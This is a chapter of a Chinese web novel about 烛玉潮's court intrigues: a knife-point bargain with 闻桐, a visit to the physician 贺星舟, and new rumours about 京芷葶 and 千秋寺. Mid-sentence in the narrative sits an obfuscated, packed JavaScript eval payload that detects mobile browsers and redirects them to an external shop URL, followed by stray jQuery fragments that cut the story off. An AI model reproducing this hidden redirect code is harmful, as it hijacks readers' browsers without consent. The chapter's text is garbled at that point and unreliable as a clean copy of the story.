82. 扑朔迷离
    闻桐保持着玩味的神情,似乎在等待烛玉潮的动作,但下一秒,闻桐眼前刀光一闪,烛玉潮竟将刀尖对准闻桐的腰窝,可她语气却是带着笑的:

    “哥哥,事关蕊荷,你不要逗我玩儿了。”

    闻桐震惊地看向烛玉潮,思虑再三,他没有选择贸然开口,而是压低了声音:“嘴上叫着哥哥,手里却做这种事。你真好笑。”

    “两年前在忘忧园,你都忘记了吗?你也是这么拿剑对着我的!”烛玉潮死死盯着闻桐的双目,“你知道京瑾年对学宫做了什么,你若当真和京瑾年勾结,便是将我这一年来的心血毁之一旦!”

    闻桐的眼中空白了一瞬,随即蹙眉思索。

    “你还真忘了。”烛玉潮嗤笑一声,见周围有百姓投来疑惑的目光,她微微背过身,将刀收了起来。

    闻桐一挑眉,不动声色地拉开了和烛玉潮的距离:“我确实见到京瑾年了,但没有同意他的请求。我和闻初融结盟,又和京瑾年谈条件,是不是有些太过贪心了?”

    烛玉潮将短刀收了起来:“京瑾年说什么了?”

    “他疯了。”

    “什么?”烛玉潮微微睁大了双眼。

    “嘴里都是疯言疯语,一会儿说京芷葶要来找他了,一会儿说楼皇总有一日会遭天谴,”闻桐将食指比在唇边,“嘘,这话可不是我说的。”

    ……京芷葶和楼皇又有什么干系?

    烛玉潮本想开口询问,可见闻桐这模样,也问不出什么,便转言道:“你方才说京瑾年的请求,那又是什么?”

    “京瑾年求我继续拥护他,”闻桐的眼神变幻莫测,“其实,楼皇没有对京瑾年做出判决,他完全可以一直留在蕊荷宫的,可他却走了。那绝不会是畏罪、或是愧疚。”

    烛玉潮皱起眉头:“听你所言,他是去找人了?”

    闻桐忽然鼓起掌来:“你好聪明啊,我说的如此颠三倒四,你竟也听得明白。”

    烛玉潮无视了闻桐奇怪的夸赞,接着说道:“可是京芷葶已经死了,楼皇也不可能在雪魂峰。”

    一年前,烛玉潮曾亲眼所见京芷葶的墓碑,楼符清在坟前磕下三个响头,他说,京芷葶死前,自己一直守在她的床边。

    闻桐说道:“我能肯定,他在找京芷葶。”

    烛玉潮一惊,强作镇定。

    她不可能全然相信闻桐,但此言一出,的确让烛玉潮有些坐不住。

    闻桐叹了口气:“如果京芷葶真的回来了,这蕊荷宫才是真正要变天了。所以,要将棠儿的心血毁之一旦的另有其人啊。”

    京芷葶一直想要蕊荷宫自立为王,和京瑾年的想法是背道而驰的。

    依楼符清所说,倘若京芷葶的死因和京瑾年有关,那京瑾年又为何要费尽心思找他的姑姑?

    烛玉潮脑中一团乱麻,再抽不出心思和闻桐斗嘴。

    “说些轻松的吧,”闻桐见烛玉潮表情沉重,随口换了话题,“贺星舟和付浔看上去,都不是棠儿喜欢的风格。怎么嫁为人妻后换口味了?”

    烛玉潮心不在焉地回道:“你把蕊荷都逛了一遍才来见我,看来心里也有数了吧。”

    “是啊,我从未想过我那个金枝玉叶的妹妹,能放下身段,亲手在雨夜将一个平民小孩儿背回家,”闻桐的语气中参杂着几分心痛,“她不会做这样的事……我全都知道!”

    烛玉潮没有开口。

    她能确定,闻桐清楚自己并不是闻棠。

    可既然闻桐没有明说,烛玉潮也无法准确揣度闻桐的意思。

    “那你想做什么呢?”烛玉潮试探道。

    闻桐反问:“我能做什么?”

    “我不知道京瑾年什么时候会回来,可哥哥既然知道此人在雪魂峰,那便好办了。不如,哥哥帮我盯着他的动向?待他回来那日,我可确保蕊荷闻氏的收入恢复火灾前的状况。”

    闻桐噗嗤一声:“且不说你能不能对付得了京芷葶,爹不会让一个女子接手商铺的,你醒醒吧。”

    话音未落,烛玉潮便继续说道:“那便以你的名义。毕竟哥哥也干不出什么名堂,有时还要做赔本生意,不是吗?”

    见闻桐被说中了心思,神情略带动摇,烛玉潮立即问道:“哥哥啊,我提的条件怎么样?”

    烛玉潮知道闻桐一定会同意。以蕊荷闻氏如今岌岌可危的地位,闻桐已经没有资格和她谈条件了。

    虽然烛玉潮不知闻桐而言,闻棠到底算什么,但今时今日,面对面前这个对自己拔刀相向的女人,闻桐必须为自己谋求一条生路。

    只见闻桐眼角抽动,终是应答下来。

    烛玉潮将药方还给了闻桐。

    替他抓药本就是借口。真正的闻棠不会这么做,烛玉潮更不会。

    闻桐的背影落寞,几乎是踉踉跄跄地离开了这里。

    烛玉潮的心彻底放了下去。

    闻桐从初涉商贾的暴戾骄纵,到如今的被迫退让,也不过短短两载。

    烛玉潮低下头,喃喃道:“如今我可以保护我自己,也可以保护你了,流梨。”

    她从未忘记她们共同的仇恨。

    烛玉潮看向宸武的方向,眼底弥漫出浓烈的怒意:楼璂,我什么时候才能杀了你?

    ——“朱姑娘怎么不在医馆等我?”

    带着笑意的声音从身后传来,烛玉潮微微张口,刚要叫贺星舟,嘴里便被那人塞了块糕点。

    “呜呜?”烛玉潮含混不清地叫道。

    “这么多我可吃不下,”趁着烛玉潮咀嚼的空隙,贺星舟在她耳畔说道,“你公务繁忙,还抽身来看我。抽身来看我,还当什么田螺姑娘,做好事不留名。”

    烛玉潮好不容易把嘴里的食物吞咽下去,抚着胸口缓缓道:“什么田螺姑娘?我刚才在与你的病人交流病情。”

    “什么病?”贺星舟立即担忧地睁大了双眼。

    烛玉潮露出神秘的表情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972166|134582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,在贺星舟耳边说了两个字:

    “心病。”

    贺星舟反应了一会儿,忽然笑了起来:“你说的是那个奇怪的病人。”

    贺星舟果然不认得闻桐。

    烛玉潮解释道:“那是我哥哥。”

    “啊?是闻公子,”贺星舟将拳头比在唇边轻咳一声,“我看诊时比较匆忙,冒犯了。”

    “哥哥不是那样肚量小的人,星舟不必为此忧虑,”烛玉潮简单安慰两句,便将话题又引回了贺星舟身上,“今日医馆首次营业,我见你游刃有余,才知我的担心是多余的。”

    “我说过,我绝不会拖你后腿。”

    贺星舟望着烛玉潮时,他的双眸仿佛蕴含着万千星辰,诉说着绝对的忠诚。

    这令烛玉潮不禁出神。

    即便没能以王府之人出现于众人视野,贺星舟却没有丝毫怨言。

    烛玉潮不是铁石心肠的圣者,她没法儿不动容。

    思及来日未知的状况,烛玉潮默默攥紧了拳头:“无论蕊荷如何、宸武如何,我不会让任何人伤害你,星舟。”

    谢流梨和贺星舟是她此生最珍视的两个人,她决计不会辜负任何一人的期望。

    贺星舟神色一愣,随即垂眸抓住了烛玉潮的衣角:“我相信你,小昭。”

    贺星舟似乎很喜欢抓她的衣角。这带着明显避人和讨好意味的动作,让烛玉潮有些不好意思。

    她呼吸有些急促:“你先休息,我下回再来看你。”

    “等等!”贺星舟叫住了烛玉潮,“刚才有位病人与我说了些话,叫我有些在意。”

    “是什么?”

    “有关千秋寺,”贺星舟压低了声音,“据说是千秋寺近日异动颇多。”

    烛玉潮瞬间找出了话中漏洞:“千秋寺一向避世,怎么可能?况且他一个病人,与你说这么多做什么?”

    贺星舟摇了摇头。

    先是闻桐,再是这个病人。

    似乎有人在暗中向烛玉潮传达着什么讯息。

    一切瞬间变得扑朔迷离起来。

    烛玉潮眯了眯眼,这两件事难道可以串联起来吗?

    京芷葶,京瑾年。

    千秋寺,雪魂峰。

    然而,迎面走来的身影让烛玉潮脑中的思绪被扯的粉碎。

    烛玉潮的脑子忽然变得有些迟钝:“……云琼,你怎么来了。”

    云琼对烛玉潮行了礼,言简意赅道:“王爷有急事找您。”

    烛玉潮沉思片刻,对贺星舟道:“你先跟我回王府。”

    三人脚步急促,烛玉潮忍不住问道:“约莫与何事有关?我方才已听到些许风声。”

    云琼道:“前宫主。”

    又是京芷葶?

    云琼斟酌道:“王爷已召付浔回府,此事有关千秋寺。”

    烛玉潮没忍住,疑惑的“啊?”了一声。

    不是,这事是不是太过蹊跷了?